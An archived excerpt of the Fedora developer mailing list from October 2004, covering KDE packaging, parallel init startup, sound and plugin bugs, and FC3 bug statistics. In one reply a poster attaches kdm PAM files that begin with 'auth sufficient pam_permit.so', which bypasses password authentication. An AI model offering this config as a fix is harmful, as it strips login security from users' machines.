xine-0.99.2-1.1.fc2.fr.i386.rpm: V3 DSA signature: NOKEY, key > >ID e42d547b > >error: Failed dependencies: > > libcurl.so.2 is needed by xine-0.99.2-1.1.fc2.fr > > > > > The first problem is that curl is very poorly packaged. Libraries > should be packages such that they are parallel installable. I have > already filed a bug against the curl package for this. > > For the fix, I just made a symlink from libcurl.so.2 to libcurl.so.3. > They seem to be compatible enough for Xine to at least run. It might > reduce stability, though I haven't seen any problems. I don't run Xine > over the network, however. > > Finally, this list is about developing Fedora, not user questions - use > fedora-test-list for that. > From ich at Frank-Schmitt.net Tue Oct 19 22:13:32 2004 From: ich at Frank-Schmitt.net (Frank Schmitt) Date: Wed, 20 Oct 2004 00:13:32 +0200 Subject: Should I mention kde-3.3.1? References: <416D3238.4040304@redhat.com> <416D3BB7.1070402@feuerpokemon.de> <20041019143318.GA9791@dudweiler.stuttgart.redhat.com> <41757C1B.1020803@math.unl.edu> Message-ID: Frank Schmitt writes: > -There were no Core 2 packages for 3.0 3.3.0 -- Did you ever realize how much text fits in eighty columns? If you now consider that a signature usually consists of up to four lines, this gives you enough space to spread a tremendous amount of information with your messages. So seize this opportunity and don't waste your signature with bullshit nobody will read. From paul at all-the-johnsons.co.uk Tue Oct 19 22:24:20 2004 From: paul at all-the-johnsons.co.uk (Paul) Date: Tue, 19 Oct 2004 23:24:20 +0100 Subject: fedora and xine. In-Reply-To: References: Message-ID: <1098224660.20658.17.camel@localhost.localdomain> Hi, > i'm totally lost as to how to solve this problem. > could somebody help me on this? Make sure xine-lib is installed (doesn't rely on curl) and then compile xine-ui from source. Works a treat. TTFN Paul -- "Trust me, I know what I'm doing" - Det. Sledgehammer -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From louisg00 at bellsouth.net Tue Oct 19 23:04:08 2004 From: louisg00 at bellsouth.net (Louis Garcia) Date: Tue, 19 Oct 2004 23:04:08 +0000 Subject: More sound problems Message-ID: <1098227048.14243.3.camel@tiger> After rawhide update 10/19 I can't get sound out of my box. Any ideas? --Louis From fedora at andrewfarris.com Wed Oct 20 01:00:17 2004 From: fedora at andrewfarris.com (Andrew Farris) Date: Tue, 19 Oct 2004 18:00:17 -0700 Subject: More sound problems In-Reply-To: <1098227048.14243.3.camel@tiger> References: <1098227048.14243.3.camel@tiger> Message-ID: <1098234017.21306.16.camel@andrewfarris.dev> On Tue, 2004-10-19 at 23:04 +0000, Louis Garcia wrote: > After rawhide update 10/19 I can't get sound out of my box. Any ideas? > > --Louis rawhide report 20041019 shows updates to: gnome-media gnome-volume-manager selinux-policy-targeted udev Start with looking at your mixer volumes, devices, perms, selinux audits.. I have seen any loss of sound from these, so I would think configuration first. btw: there really is nothing to guarantee this is all you updated, just because thats what changed on rawhide.. so check your update logs for what changed. -- Andrew Farris (lordmorgul) - CPE student, Cal Poly SLO, pgp keyid 4430F405 pgp.mit.edu "..the triumph of evil is for good men to do nothing." (Edmond Burke) From rjune at bravegnuworld.com Wed Oct 20 01:11:07 2004 From: rjune at bravegnuworld.com (Richard June) Date: Tue, 19 Oct 2004 20:11:07 -0500 Subject: Should I mention kde-3.3.1? In-Reply-To: References: <41757C1B.1020803@math.unl.edu> Message-ID: <200410192011.18148.rjune@bravegnuworld.com> In general I agree that using KDE on fedora is a bit spotty, it's been better than other distros in my opinion. only better KDE experience is the kde-redhat packages. perhaps the two projects could work together for everybody's benefit? > -There were no Core 2 packages for 3.0 http://kde-redhat.sf.net > -It's not possible to get mp3-support by installing an additional RPM > like it is for gnome, you have to recompile kdemultimedia. as I use the KDE distro from the above, I can't go either way on this one. > -Since KDE 3.3 it's more difficult to recompile kdemultimedia as the > SRPM includes patched sources, you have to go to ftp.kde.org and get > the original sources and place them in RPMBUILDIR/src manually that's a bug. RPM by design is supposed to use pristine sources. if it doesn't, you should file a bug. > -kdemultimedia has random applications disabled without stating a reason > for this anywhere. Juk or Amarok, I don't recall exactly, in KDE 3.2 > and 3.3.0, koncd in 3.3.1 I'll go with you on this. Juk is the app. Rhythmbox is a very capable replacement, but still looks a bit out of place. > -Automatic login with kdm doesn't work since 3.2 Attached are two files, put them in your /etc/pam.d directory. I found that on Google. > -KDE 3.3.1 won't be in Core 3 but come as "one of the first updates", > meaning that I'll have to download about 200 mb some days after I > downloaded Core 3. I can only imagine that's a testing thing. -- Public Key available Here: http://www.bravegnuworld.com/~rjune/rjune.asc -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: -------------- next part -------------- #%PAM-1.0 auth sufficient pam_permit.so auth required pam_stack.so service=system-auth auth required pam_nologin.so auth sufficient pam_timestamp.so account required pam_stack.so service=system-auth password required pam_stack.so service=system-auth session required pam_stack.so service=system-auth session optional pam_timestamp.so session optional pam_console.so -------------- next part -------------- #%PAM-1.0 auth sufficient pam_permit.so auth required pam_stack.so service=system-auth auth required pam_nologin.so account required pam_stack.so service=system-auth password required pam_stack.so service=system-auth session required pam_stack.so service=system-auth session optional pam_console.so From notting at redhat.com Wed Oct 20 01:26:40 2004 From: notting at redhat.com (Bill Nottingham) Date: Tue, 19 Oct 2004 21:26:40 -0400 Subject: Should I mention kde-3.3.1? In-Reply-To: References: <416D3238.4040304@redhat.com> <416D3BB7.1070402@feuerpokemon.de> <20041019143318.GA9791@dudweiler.stuttgart.redhat.com> <41757C1B.1020803@math.unl.edu> Message-ID: <20041020012640.GB5631@nostromo.devel.redhat.com> Frank Schmitt (ich at Frank-Schmitt.net) said: > -There were no Core 2 packages for 3.0 Oddly, there were no Core 2 packages for GNOME 2.8 either. > -It's not possible to get mp3-support by installing an additional RPM > like it is for gnome, you have to recompile kdemultimedia. That's due to kdemultimedia's architecture. To the best of my knowledge, packaging an addon for it is impossible, just because of the way that it's coded. > -Since KDE 3.3 it's more difficult to recompile kdemultimedia as the > SRPM includes patched sources, you have to go to ftp.kde.org and get > the original sources and place them in RPMBUILDIR/src manually mp3 code won't be shipped... this includes source. Bill From notting at redhat.com Wed Oct 20 01:38:57 2004 From: notting at redhat.com (Bill Nottingham) Date: Tue, 19 Oct 2004 21:38:57 -0400 Subject: Paralell startup In-Reply-To: <1098205442.27694.2.camel@dcbw.boston.redhat.com> References: <1098202227.2734.23.camel@kyrre> <1098205442.27694.2.camel@dcbw.boston.redhat.com> Message-ID: <20041020013857.GC5631@nostromo.devel.redhat.com> Dan Williams (dcbw at redhat.com) said: > Yes, and we should do it. However, it requires lots of changes to the > initscripts :) Hah. It mainly requires changing /etc/rc, and adding dependencies to the scripts. > Nobody is making the noise necessary to do anything about anything > though. Somebody needs the time and energy to champion this cause. Or, you know... write the code and test it. :P Seriously... it was done once, it didn't help appreciably. Doing it again would be a good project. > The current Fedora initscripts packages are also very, very nasty and not > well split out by function. One script per daemon! Oh my god, it's HORRIBLE. Bill From caillon at redhat.com Wed Oct 20 02:14:59 2004 From: caillon at redhat.com (Christopher Aillon) Date: Tue, 19 Oct 2004 22:14:59 -0400 Subject: Latest firefox doesn't pick up plugins in /usr/lib/mozilla In-Reply-To: <1098217192.3704.4.camel@tiger> References: <1098153946.6090.3.camel@tiger> <1098217192.3704.4.camel@tiger> Message-ID: <4175CA23.9050809@redhat.com> Louis Garcia wrote: > Spoke to soon. Today I booted my box and fired up firefox and the > plugins are gone again. about:plugins showed only the default plugin. I > fired up mozilla and sure enough the plugins were their. This has to be > a firefox problem. 1. bug reports go in bugzilla, not here. 2. make sure you are using our packages. The upstream versions do not check /usr/lib/mozilla From louisg00 at bellsouth.net Wed Oct 20 02:18:48 2004 From: louisg00 at bellsouth.net (Louis Garcia) Date: Tue, 19 Oct 2004 22:18:48 -0400 Subject: More sound problems Message-ID: <1098238728.16403.6.camel@tiger> > > After rawhide update 10/19 I can't get sound out of my box. Any ideas? > > > > --Louis > > rawhide report 20041019 shows updates to: > gnome-media > gnome-volume-manager > selinux-policy-targeted > udev > > Start with looking at your mixer volumes, devices, perms, selinux > audits.. I have seen any loss of sound from these, so I would think > configuration first. > > btw: there really is nothing to guarantee this is all you updated, just > because thats what changed on rawhide.. so check your update logs for > what changed. Seems gnome-media alsa mixer does not adjusts PCM volume. Went back to -1 and adjusted PCM on OSS mixer and sound is back. --Louis From shiva at sewingwitch.com Wed Oct 20 03:46:22 2004 From: shiva at sewingwitch.com (Kenneth Porter) Date: Tue, 19 Oct 2004 20:46:22 -0700 Subject: Paralell startup In-Reply-To: <20041020013857.GC5631@nostromo.devel.redhat.com> References: <1098202227.2734.23.camel@kyrre> <1098205442.27694.2.camel@dcbw.boston.redhat.com> <20041020013857.GC5631@nostromo.devel.redhat.com> Message-ID: <08AEBA0E4211F64FC285C573@[10.169.6.246]> --On Tuesday, October 19, 2004 9:38 PM -0400 Bill Nottingham wrote: > Hah. It mainly requires changing /etc/rc, and adding dependencies > to the scripts. Migration path: How do you handle the scripts that haven't been updated? (Ie. those in 3rd party packages that won't get updated until the machinery is in place.) Lump them all at the end in traditional serial order? From fedora at andrewfarris.com Wed Oct 20 03:49:30 2004 From: fedora at andrewfarris.com (Andrew Farris) Date: Tue, 19 Oct 2004 20:49:30 -0700 Subject: More sound problems In-Reply-To: <1098238728.16403.6.camel@tiger> References: <1098238728.16403.6.camel@tiger> Message-ID: <1098244171.21306.26.camel@andrewfarris.dev> On Tue, 2004-10-19 at 22:18 -0400, Louis Garcia wrote: > > > After rawhide update 10/19 I can't get sound out of my box. Any ideas? > > > > > > --Louis > > > > rawhide report 20041019 shows updates to: > > gnome-media > > gnome-volume-manager > > selinux-policy-targeted > > udev > > > > Start with looking at your mixer volumes, devices, perms, selinux > > audits.. I have seen any loss of sound from these, so I would think > > configuration first. > > > > btw: there really is nothing to guarantee this is all you updated, just > > because thats what changed on rawhide.. so check your update logs for > > what changed. > > Seems gnome-media alsa mixer does not adjusts PCM volume. Went back to -1 > and adjusted PCM on OSS mixer and sound is back. What you're saying is, that using the 'alsa' mixer which was the only one shown, you could no longer adjust PCM volume? Was this only for apps which use the OSS interface? - rpm -q --changelog gnome-media | head * Mon Oct 18 2004 Colin Walters 2.8.0-2 - Add patch to not show oss mixers If you could no longer adjust volume on OSS PCM, thats bugzilla worthy. The mixers should have been one and the same. The bug really is in gstreamer probably, the change in gnome-media was just to 'not show' the OSS mixer that gstreamer provided. Perhaps the alsa mixer is not handling oss emulation quite the same way the oss mixer was? -- Andrew Farris (lordmorgul) - CPE student, Cal Poly SLO, pgp keyid 4430F405 pgp.mit.edu "..the triumph of evil is for good men to do nothing." (Edmond Burke) From notting at redhat.com Wed Oct 20 03:52:12 2004 From: notting at redhat.com (Bill Nottingham) Date: Tue, 19 Oct 2004 23:52:12 -0400 Subject: Paralell startup In-Reply-To: <08AEBA0E4211F64FC285C573@[10.169.6.246]> References: <1098202227.2734.23.camel@kyrre> <1098205442.27694.2.camel@dcbw.boston.redhat.com> <20041020013857.GC5631@nostromo.devel.redhat.com> <08AEBA0E4211F64FC285C573@[10.169.6.246]> Message-ID: <20041020035212.GB9337@nostromo.devel.redhat.com> Kenneth Porter (shiva at sewingwitch.com) said: > >Hah. It mainly requires changing /etc/rc, and adding dependencies > >to the scripts. > > Migration path: How do you handle the scripts that haven't been updated? > (Ie. those in 3rd party packages that won't get updated until the machinery > is in place.) Lump them all at the end in traditional serial order? Yup. Bill From veguilla at hpcf.upr.edu Wed Oct 20 04:14:34 2004 From: veguilla at hpcf.upr.edu (Ricardo Veguilla) Date: Wed, 20 Oct 2004 00:14:34 -0400 Subject: Paralell startup In-Reply-To: <08AEBA0E4211F64FC285C573@[10.169.6.246]> References: <1098202227.2734.23.camel@kyrre> <1098205442.27694.2.camel@dcbw.boston.redhat.com> <20041020013857.GC5631@nostromo.devel.redhat.com> <08AEBA0E4211F64FC285C573@[10.169.6.246]> Message-ID: <1098245675.10725.17.camel@ricardo.veguilla.net> On Tue, 2004-10-19 at 20:46 -0700, Kenneth Porter wrote: > --On Tuesday, October 19, 2004 9:38 PM -0400 Bill Nottingham > wrote: > > > Hah. It mainly requires changing /etc/rc, and adding dependencies > > to the scripts. > > Migration path: How do you handle the scripts that haven't been updated? > (Ie. those in 3rd party packages that won't get updated until the machinery > is in place.) Lump them all at the end in traditional serial order? > Well, since parallel startup support will probably be an option and will requires the initscripts (the one shipped with fedora in the hypothetical case) to be modified so they will worked correctly in serial an parallel mode, why not assume the dependencies for third-party scripts based on the order in which they would have executed serially? Maybe when "chkconfig --add" is invoked for a script that doesn't contain dependencies information, chkconfig could determine (assume) the "equivalent dependencies" based on all the scripts that should had been executed before the newly added script. Am I making any sense? Regards, -- Ricardo Veguilla From feliciano.matias at free.fr Tue Oct 19 11:28:37 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Tue, 19 Oct 2004 13:28:37 +0200 Subject: disable oss in gstreamer-plugins In-Reply-To: <1097971782.18528.16.camel@localhost.localdomain> References: <1097957490.18528.8.camel@localhost.localdomain> <1097957509.2859.16.camel@kyrre> <1097971782.18528.16.camel@localhost.localdomain> Message-ID: <1098185318.4668.2.camel@localhost.localdomain> Le dimanche 17 octobre 2004 ? 02:09 +0200, Matias F?liciano a ?crit > https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=136028 Closed. I pointed in this bug report that gstreamer-plugins miss libmusicbrainz-devel BuildRequires. Should I open a new bug report ? -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From feliciano.matias at free.fr Tue Oct 19 22:27:21 2004 From: feliciano.matias at free.fr (Matias =?ISO-8859-1?Q?F=E9liciano?=) Date: Wed, 20 Oct 2004 00:27:21 +0200 Subject: Should I mention kde-3.3.1? In-Reply-To: References: <416D3238.4040304@redhat.com> <416D3BB7.1070402@feuerpokemon.de> <20041019143318.GA9791@dudweiler.stuttgart.redhat.com> <41757C1B.1020803@math.unl.edu> Message-ID: <1098224841.18506.8.camel@localhost.localdomain> Le mardi 19 octobre 2004 ? 23:56 +0200, Frank Schmitt a ?crit : > -There were no Core 2 packages for 3.0 ftp://ftp.kde.org/pub/kde/stable/3.3.1/RedHat/Fedora2/i386/ -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: Ceci est une partie de message num?riquement sign?e URL: From arcofdescent at gmail.com Wed Oct 20 05:16:23 2004 From: arcofdescent at gmail.com (Rohan Almeida) Date: Wed, 20 Oct 2004 10:46:23 +0530 Subject: Proposal: new package in fc3 In-Reply-To: <1098202902.4038.1.camel@localhost.localdomain> References: <777aada20410181020e77045@mail.gmail.com> <80d7e409041018112724e16730@mail.gmail.com> <777aada204101902096dbd3cfe@mail.gmail.com> <1098202902.4038.1.camel@localhost.localdomain> Message-ID: <777aada2041019221665d971a7@mail.gmail.com> Sindre Pedersen Bjordal wrote: > > Well, currently all core packages are maintained by people from Red Hat, > if it has to be that way I don't know. > > If you can get a package of this into fedora.us, that would make it more > likely to make it into core. > Its there in fedora.us currenty. In stable RPMs. I just want to get it in Fedora development so that it can get a chance of featuring in Fc4 maybe. Who knows? -- Rohan From notting at redhat.com Wed Oct 20 05:41:52 2004 From: notting at redhat.com (Bill Nottingham) Date: Wed, 20 Oct 2004 01:41:52 -0400 Subject: Fedora Core 3 Bug Status - 2004-10-20 Message-ID: <20041020054152.GA15580@nostromo.devel.redhat.com> Based on bug #123268 ('FC3Target') and bug #130887 ('FC3Blocker') 2004-10-20 Severity Total Closed Need Testing BLOCKER 130 110 ( 84.62 %) 17 ( 15.45 %) TARGET 921 532 ( 57.76 %) 53 ( 9.96 %) Overall 1051 642 ( 61.08 %) 70 ( 10.00 %) 2004-10-19 Severity Total Closed Need Testing BLOCKER 130 102 ( 78.46 %) 13 ( 12.75 %) TARGET 920 517 ( 56.20 %) 54 ( 10.44 %) Overall 1050 619 ( 58.95 %) 67 ( 10.00 %) 2004-10-18 Severity Total Closed Need Testing BLOCKER 129 98 ( 75.97 %) 12 ( 12.24 %) TARGET 920 505 ( 54.89 %) 51 ( 10.10 %) Overall 1049 603 ( 57.48 %) 63 ( 10.00 %) 2004-10-16 Severity Total Closed Need Testing BLOCKER 122 96 ( 78.69 %) 12 ( 12.50 %) TARGET 916 501 ( 54.69 %) 52 ( 10.38 %) Overall 1038 597 ( 57.51 %) 64 ( 10.00 %) 2004-10-15 Severity Total Closed Need Testing BLOCKER 120 93 ( 77.50 %) 11 ( 11.83 %) TARGET 914 495 ( 54.16 %) 52 ( 10.51 %) Overall 1034 588 ( 56.87 %) 63 ( 10.00 %) 2004-10-14 Severity Total Closed Need Testing BLOCKER 117 90 ( 76.92 %) 16 ( 17.78 %) TARGET 923 484 ( 52.44 %) 56 ( 11.57 %) Overall 1040 574 ( 55.19 %) 72 ( 12.00 %) 2004-10-13 Severity Total Closed Need Testing BLOCKER 115 85 ( 73.91 %) 13 ( 15.29 %) TARGET 914 478 ( 52.30 %) 57 ( 11.92 %) Overall 1029 563 ( 54.71 %) 70 ( 12.00 %) 2004-10-11 Severity Total Closed Need Testing BLOCKER 105 78 ( 74.29 %) 10 ( 12.82 %) TARGET 892 438 ( 49.10 %) 49 ( 11.19 %) Overall 997 516 ( 51.76 %) 59 ( 11.00 %) 2004-09-30 Severity Total Closed Need Testing BLOCKER 90 67 ( 74.44 %) 11 ( 16.42 %) TARGET 831 374 ( 45.01 %) 45 ( 12.03 %) Overall 921 441 ( 47.88 %) 56 ( 12.00 %) 2004-09-23 Severity Total Closed Need Testing BLOCKER 74 43 ( 58.11 %) 9 ( 20.93 %) TARGET 703 286 ( 40.68 %) 38 ( 13.29 %) Overall 777 329 ( 42.34 %) 47 ( 14.00 %) 2004-09-08 Severity Total Closed Need Testing BLOCKER 35 14 ( 40.00 %) 3 ( 21.43 %) TARGET 591 194 ( 32.83 %) 33 ( 17.01 %) Overall 626 208 ( 33.23 %) 36 ( 17.00 %) 2004-08-18 Severity Total Closed Need Testing TARGET 415 61 ( 14.70 %) 16 ( 26.23 %) From harald at redhat.com Wed Oct 20 06:51:49 2004 From: harald at redhat.com (Harald Hoyer) Date: Wed, 20 Oct 2004 08:51:49 +0200 Subject: Paralell startup In-Reply-To: <1098245675.10725.17.camel@ricardo.veguilla.net> References: <1098202227.2734.23.camel@kyrre> <1098205442.27694.2.camel@dcbw.boston.redhat.com> <20041020013857.GC5631@nostromo.devel.redhat.com> <08AEBA0E4211F64FC285C573@[10.169.6.246]> <1098245675.10725.17.camel@ricardo.veguilla.net> Message-ID: <41760B05.10101@redhat.com> Ricardo Veguilla wrote: > Maybe when "chkconfig --add" is invoked for a script that doesn't > contain dependencies information, chkconfig could determine (assume) the > "equivalent dependencies" based on all the scripts that should had been > executed before the newly added script. > > Am I making any sense? yes, makes a lot of sense :) I would like to see a kind of "Makefile", cause "make" has all the things you want. If "make" is too slow, it can be replaced later. From harald at redhat.com Wed Oct 20 06:52:33 2004 From: harald at redhat.com (Harald Hoyer) Date: Wed, 20 Oct 2004 08:52:33 +0200 Subject: Paralell startup In-Reply-To: <20041019205104.GA3458@stingr.sgu.ru> References: <1098202227.2734.23.camel@kyrre> <20041019205104.GA3458@stingr.sgu.ru> Message-ID: <41760B31.5020708@redhat.com> Paul P Komkoff Jr wrote: > I doubt if anyone with @redhat.com suffix will consider reworking > initscripts to mind service dependencies ... We accept patches :) From harald at redhat.com Wed Oct 20 06:56:16 2004 From: harald at redhat.com (Harald Hoyer) Date: Wed, 20 Oct 2004 08:56:16 +0200 Subject: Paralell startup In-Reply-To: <1098202227.2734.23.camel@kyrre> References: <1098202227.2734.23.camel@kyrre> Message-ID: <41760C10.9060300@redhat.com> Another improvement would be maybe s.th. like the C-header files have... [ -z "$_INIT_D_FUNCTIONS" ] && . /etc/rc.d/init.d/functions From mmitu at bitdefender.com Wed Oct 20 06:55:52 2004 From: mmitu at bitdefender.com (Mircea MITU) Date: Wed, 20 Oct 2004 09:55:52 +0300 Subject: Paralell startup In-Reply-To: <41760B05.10101@redhat.com> References: <1098202227.2734.23.camel@kyrre> <1098205442.27694.2.camel@dcbw.boston.redhat.com> <20041020013857.GC5631@nostromo.devel.redhat.com> <08AEBA0E4211F64FC285C573@[10.169.6.246]> <1098245675.10725.17.camel@ricardo.veguilla.net> <41760B05.10101@redhat.com> Message-ID: <1098255352.26815.6.camel@localhost.localdomain> On Wed, 2004-10-20 at 08:51 +0200, Harald Hoyer wrote: > Ricardo Veguilla wrote: > > Maybe when "chkconfig --add" is invoked for a script that doesn't > > contain dependencies information, chkconfig could determine (assume) the > > "equivalent dependencies" based on all the scripts that should had been > > executed before the newly added script. > > > > Am I making any sense? > > yes, makes a lot of sense :) > > I would like to see a kind of "Makefile", cause "make" has all the > things you want. If "make" is too slow, it can be replaced later. > http://www-106.ibm.com/developerworks/linux/library/l-boot.html This article includes a "sample implementation" with a corresponding Makefile. -- Mircea MITU BitDefender Linux Business-Line Manager SOFTWIN - Data Security Division http://linux.bitdefender.com -- This message was scanned for spam and viruses by BitDefender For more information please visit http://linux.bitdefender.com/ From aportal at univ-montp2.fr Wed Oct 20 07:44:12 2004 From: aportal at univ-montp2.fr (Alain PORTAL) Date: Wed, 20 Oct 2004 09:44:12 +0200 Subject: Devices and permissions In-Reply-To: References: <200410141611.42456.aportal@univ-montp2.fr> <416E89E5.5090405@redhat.com> Message-ID: <200410200944.27707.aportal@univ-montp2.fr> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Le samedi 16 Octobre 2004 11:06, Aurelien Bompard a ?crit : > Harald Hoyer wrote: > > let the program run as user > > put in group lp??and?uucp?in?/etc/group > > I think the program is a client application, not a server. Thus we can't > really have it run as another user. > > I guess it's possible for a client application to use the serial ports, > isn't it ? So how can we do that ? Nobody has any idea? - -- Alain PORTAL -- Service Commun de Microscopie ?lectronique Universit? de Montpellier II -- Case Courrier 087 Place Eug?ne Bataillon -- 34095 Montpellier Cedex 05 T?l. : 04 67 14 37 35 -- Fax. : 04 67 14 37 37 NO WORD ATTACHMENTS: http://www.fsf.org/philosophy/no-word-attachments.fr.html http://www.giromini.org/usenet-fr/repondre.html -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFBdhdP8dRVJ41NdFARAuk2AJ9DSMG+M8DhwsSSvA1RMJExCJZBJgCgnPJ6 FR+xoa78pkjyNWR8Q/dHb78= =qFDV -----END PGP SIGNATURE----- From ich at Frank-Schmitt.net Wed Oct 20 07:34:42 2004 From: ich at Frank-Schmitt.net (Frank Schmitt) Date: Wed, 20 Oct 2004 09:34:42 +0200 Subject: Should I mention kde-3.3.1? References: <41757C1B.1020803@math.unl.edu> <200410192011.18148.rjune@bravegnuworld.com> Message-ID: Richard June writes: > In general I agree that using KDE on fedora is a bit spotty, it's been better > than other distros in my opinion. only better KDE experience is the > kde-redhat packages. perhaps the two projects could work together for > everybody's benefit? > >> -There were no Core 2 packages for 3.0 > http://kde-redhat.sf.net I know about this project but I don't like it since when adding it to yum.conf I not only get a new KDE but dozens of other packages are replaced, too. This means that I get dependencies problems when there are updates for those in the main Fedora repositories and I get problems when updating from one Fedora release to the next. Further on, I trust Fedora to build quality packages and timely fix security issues. I don't really know if I can put the same trust in the guys from kde-redhat. -- Did you ever realize how much text fits in eighty columns? If you now consider that a signature usually consists of up to four lines, this gives you enough space to spread a tremendous amount of information with your messages. So seize this opportunity and don't waste your signature with bullshit nobody will read. From nphilipp at redhat.com Wed Oct 20 09:21:40 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Wed, 20 Oct 2004 11:21:40 +0200 Subject: Should I mention kde-3.3.1? In-Reply-To: References: <416D3238.4040304@redhat.com> <416D3BB7.1070402@feuerpokemon.de> <20041019143318.GA9791@dudweiler.stuttgart.redhat.com> <41757C1B.1020803@math.unl.edu> Message-ID: <1098264100.4363.63.camel@gibraltar.stuttgart.redhat.com> On Tue, 2004-10-19 at 23:56 +0200, Frank Schmitt wrote: > -KDE 3.3.1 won't be in Core 3 but come as "one of the first updates", > meaning that I'll have to download about 200 mb some days after I > downloaded Core 3. Development freeze is that: a freeze. Which means among other things in general no new upstream versions as they could break more things than they would fix. Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From nphilipp at redhat.com Wed Oct 20 09:32:10 2004 From: nphilipp at redhat.com (Nils Philippsen) Date: Wed, 20 Oct 2004 11:32:10 +0200 Subject: Devices and permissions In-Reply-To: <200410200944.27707.aportal@univ-montp2.fr> References: <200410141611.42456.aportal@univ-montp2.fr> <416E89E5.5090405@redhat.com> <200410200944.27707.aportal@univ-montp2.fr> Message-ID: <1098264731.4363.72.camel@gibraltar.stuttgart.redhat.com> On Wed, 2004-10-20 at 09:44 +0200, Alain PORTAL wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Le samedi 16 Octobre 2004 11:06, Aurelien Bompard a ?crit : > > Harald Hoyer wrote: > > > let the program run as user > > > put in group lp and uucp in /etc/group > > > > I think the program is a client application, not a server. Thus we can't > > really have it run as another user. > > > > I guess it's possible for a client application to use the serial ports, > > isn't it ? So how can we do that ? > > Nobody has any idea? So is it a client or a server application? If it's a client application, all users who want to use it must have the permissions, either by belonging to a special group or /etc/security/console.perms trickeries. If it's a server application, you could let it be run by e.g. the "myserverapp" user (with an exemplary uid/gid of 450 -- I don't know whom you should ask to get a fixed well known one assigned for FC) which would get added/removed like this in packages: %post # Don't fail if user/group already exist groupadd -g 450 myserverapp || : useradd -u 450 -g 450 -G uucp,lp myserverapp -d /usr/lib/myserverapp || : %postun if [ "$1" = "0" ]; then userdel -r myserverapp || : groupdel -r myserverapp || : fi HTH, Nils -- Nils Philippsen / Red Hat / nphilipp at redhat.com "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." -- B. Franklin, 1759 PGP fingerprint: C4A8 9474 5C4C ADE3 2B8F 656D 47D8 9B65 6951 3011 From symbiont at berlios.de Wed Oct 20 10:11:13 2004 From: symbiont at berlios.de (Jeff Pitman) Date: Wed, 20 Oct 2004 18:11:13 +0800 Subject: Should I mention kde-3.3.1? In-Reply-To: References: <200410192011.18148.rjune@bravegnuworld.com> Message-ID: <200410201811.13702.symbiont@berlios.de> On Wednesday 20 October 2004 15:34, Frank Schmitt wrote: > I know about this project but I don't like it since when adding it to > yum.conf I not only get a new KDE but dozens of other packages are > replaced, too. This means that I get dependencies problems when there > are updates for those in the main Fedora repositories and I get > problems when updating from one Fedora release to the next. Further > on, I trust Fedora to build quality packages and timely fix security > issues. I don't really know if I can put the same trust in the guys > from kde-redhat. Pure FUD. -- -jeff From laroche at redhat.com Wed Oct 20 10:12:58 2004 From: laroche at redhat.com (Florian La Roche) Date: Wed, 20 Oct 2004 12:12:58 +0200 Subject: Should I mention kde-3.3.1? In-Reply-To: References: <416D3238.4040304@redhat.com> <416D3BB7.1070402@feuerpokemon.de> <20041019143318.GA9791@dudweiler.stuttgart.redhat.com> <41757C1B.1020803@math.unl.edu> Message-ID: <20041020101258.GA15749@dudweiler.stuttgart.redhat.com> > -There were no Core 2 packages for 3.0 All an issue of resources and timing. As somebody else wrote, 3.3.1 is now available. > -It's not possible to get mp3-support by installing an additional RPM > like it is for gnome, you have to recompile kdemultimedia. > -Since KDE 3.3 it's more difficult to recompile kdemultimedia as the > SRPM includes patched sources, you have to go to ftp.kde.org and get > the original sources and place them in RPMBUILDIR/src manually Something we cannot change from engineering. Too bad we cannot ship mp3. > -kdemultimedia has random applications disabled without stating a reason > for this anywhere. Juk or Amarok, I don't recall exactly, in KDE 3.2 > and 3.3.0, koncd in 3.3.1 This is normally only done if they don't work. > -Automatic login with kdm doesn't work since 3.2 Send in patches and I am sure Than Ngo will add them. Probably also a bug in original kde sources or something broken in the RH packaged ones? > -KDE 3.3.1 won't be in Core 3 but come as "one of the first updates", > meaning that I'll have to download about 200 mb some days after I > downloaded Core 3. Right, that is a real pain. I would have personally moved kde in as this is a real bug-fix release, but now it has to go out as an update release. Thanks for your report and I hope you do enjoy KDE as packaged from us, Florian La Roche From ich at Frank-Schmitt.net Wed Oct 20 10:29:27 2004 From: ich at Frank-Schmitt.net (Frank Schmitt) Date: Wed, 20 Oct 2004 12:29:27 +0200 Subject: Should I mention kde-3.3.1? References: <200410192011.18148.rjune@bravegnuworld.com> <200410201811.13702.symbiont@berlios.de> Message-ID: Jeff Pitman writes: > On Wednesday 20 October 2004 15:34, Frank Schmitt wrote: >> I know about this project but I don't like it since when adding it to >> yum.conf I not only get a new KDE but dozens of other packages are >> replaced, too. This means that I get dependencies problems when there >> are updates for those in the main Fedora repositories and I get >> problems when updating from one Fedora release to the next. Further >> on, I trust Fedora to build quality packages and timely fix security >> issues. I don't really know if I can put the same trust in the guys >> from kde-redhat. > > Pure FUD. No, experience. I installed the kde-redhat packages on my playground-box, after some days there was an upgrade to gtk in the Fedora updates repositories which horrible brake things. I sweared like a trooper, spent an hour deleting all the kde-redhat packages and reinstalling the Fedora packages and decided it was a "tried once, rated as bad" experience. -- Did you ever realize how much text fits in eighty columns? If you now consider that a signature usually consists of up to four lines, this gives you enough space to spread a tremendous amount of information with your messages. So seize this opportunity and don't waste your signature with bullshit nobody will read. From jamatos at fc.up.pt Wed Oct 20 10:41:23 2004 From: jamatos at fc.up.pt (=?iso-8859-1?Q?Jos=E9_Ab=EDlio?= Oliveira Matos) Date: Wed, 20 Oct 2004 11:41:23 +0100 Subject: Should I mention kde-3.3.1? In-Reply-To: References: 